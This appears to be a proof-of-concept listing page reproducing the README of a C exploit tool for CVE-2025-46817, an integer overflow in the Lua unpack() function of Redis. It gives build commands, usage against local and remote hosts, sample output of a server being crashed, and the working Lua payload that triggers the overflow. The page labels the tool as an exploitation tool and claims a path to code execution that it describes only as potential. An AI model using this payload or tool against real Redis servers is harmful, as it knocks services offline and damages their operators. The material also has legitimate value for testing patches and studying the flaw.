CVE-2025-46817 PoC — Lua library commands may lead to integer overflow and potential RCE

Source

Associated Vulnerability

Readme

# CVE-2025-46817 Redis Integer Overflow Exploit

![Banner](https://img.shields.io/badge/CRITICAL-red)
![Language](https://img.shields.io/badge/Language-C-blue)
![Platform](https://img.shields.io/badge/Platform-Linux%20%7C%20Windows%20%7C%20macOS-lightgrey)

A lightweight C implementation of the CVE-2025-46817 exploit for Redis integer overflow vulnerability.

## 🚀 Features

- **Lightweight**: Single C file, no external dependencies beyond hiredis
- **Fast**: Native compilation for maximum performance
- **Colorful Output**: Beautiful terminal colors and icons
- **Crash Detection**: Automatically detects server crashes
- **Version Checking**: Identifies vulnerable Redis versions
- **Timeout Support**: Configurable connection timeouts

## 📋 Requirements

### Ubuntu/Debian
```bash
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev
```

### CentOS/RHEL
```bash
sudo yum install gcc hiredis-devel
```

### macOS
```bash
brew install hiredis
```

## 🔧 Compilation

```bash
gcc -o exploit exploit.c -lhiredis
```

## 🎯 Usage

### Basic Usage
```bash
./exploit -H 127.0.0.1 -P 6379
```

### Remote Target
```bash
./exploit -H 192.168.1.100 -P 6379 -t 5
```

### Command Line Options
```
-H <host>    Redis server host (required)
-P <port>    Redis server port (required)  
-t <timeout> Connection timeout in seconds (default: 10)
-h           Show help message
```

## 📊 Example Output

```
 ██▓███   █     █░███▄    █  ▄▄▄▄    █    ██   █████▒ █████▒▓█████  ██▀███  
▓██░  ██▒▓█░ █ ░█░██ ▀█   █ ▓█████▄  ██  ▓██▒▓██   ▒▓██   ▒ ▓█   ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒█░ █ ░█▓██  ▀█ ██▒▒██▒ ▄██▓██  ▒██░▒████ ░▒████ ░ ▒███   ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░█░ █ ░█▓██▒  ▐▌██▒▒██░█▀  ▓▓█  ░██░░▓█▒  ░░▓█▒  ░ ▒▓█  ▄ ▒██▀▀█▄  
▒██▒ ░  ░░░██▒██▓▒██░   ▓██░░▓█  ▀█▓▒▒█████▓ ░▒█░   ░▒█░    ░▒████▒░██▓ ▒██▒
▒▓▒░ ░  ░░ ▓░▒ ▒ ░ ▒░   ▒ ▒ ░▒▓███▀▒░▒▓▒ ▒ ▒  ▒ ░    ▒ ░    ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░       ▒ ░ ░ ░ ░░   ░ ▒░▒░▒   ░ ░░▒░ ░ ░  ░      ░       ░ ░  ░  ░▒ ░ ▒░
░░         ░   ░    ░   ░ ░  ░    ░  ░░░ ░ ░  ░ ░    ░ ░       ░     ░░   ░ 
             ░            ░  ░         ░                       ░  ░   ░     
                                  ░                                         
                    CVE-2025-46817 Exploit Tool
                   Integer Overflow -> RCE Chain
                   Access -> https://pwnbuffer.org/

    Author: Slayerkkk
    Target: Redis <= 8.2.1
    Type: Memory Corruption -> Code Execution

ℹ️ Testing connection to 127.0.0.1:6379...
✅ Connection successful
ℹ️ Redis version: 8.2.1
❌ VULNERABLE - Version <= 8.2.1
ℹ️ Testing Lua scripting...
✅ Lua enabled (1+1=2)

🚀 STARTING EXPLOITATION
==================================================
💀 Executing exploit payload...
    Payload: Integer overflow via unpack()
💥 SERVER CRASHED - Connection lost!

📊 EXPLOITATION RESULT
==============================
  💥 Status: crashed (2.34s)

💀 EXPLOITATION SUCCESSFUL - Server crashed!
   CVE-2025-46817 vulnerability confirmed
```

## 🛡️ Affected Versions

- Redis <= 8.2.1
- Redis <= 8.0.3
- Redis <= 7.4.5  
- Redis <= 7.2.10
- Redis <= 6.2.19

## 🔍 Technical Details

### Vulnerability
The exploit targets an integer overflow in Redis's Lua `unpack()` function implementation (`luaB_unpack`). When called with specific parameters, the signed integer arithmetic overflows, causing Redis to attempt materializing an enormous number of return values.

### Exploit Payload
```lua
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}
```

### Impact
- **Server Crash**: Immediate denial of service
- **Memory Corruption**: Heap/stack corruption
- **Potential RCE**: Memory corruption could lead to code execution

## 🎯 Detection Results

The tool reports one of these statuses:

- ✅ **survived**: Server handled the payload (likely patched)
- 💥 **crashed**: Server crashed (vulnerable)
- ⚠️ **timeout**: Server hung (likely vulnerable)
- ❌ **error**: Other error occurred

## 🙏 Credits

**Author**: Slayerkkk  
**Website**: https://pwnbuffer.org

File Snapshot

 [4.0K]  /data/pocs/7a8b22f1ba5e633aa7eed7e5905970d233acf8f3
├── [ 12K]  exploit.c
└── [4.7K]  README.md

1 directory, 2 files

Remarks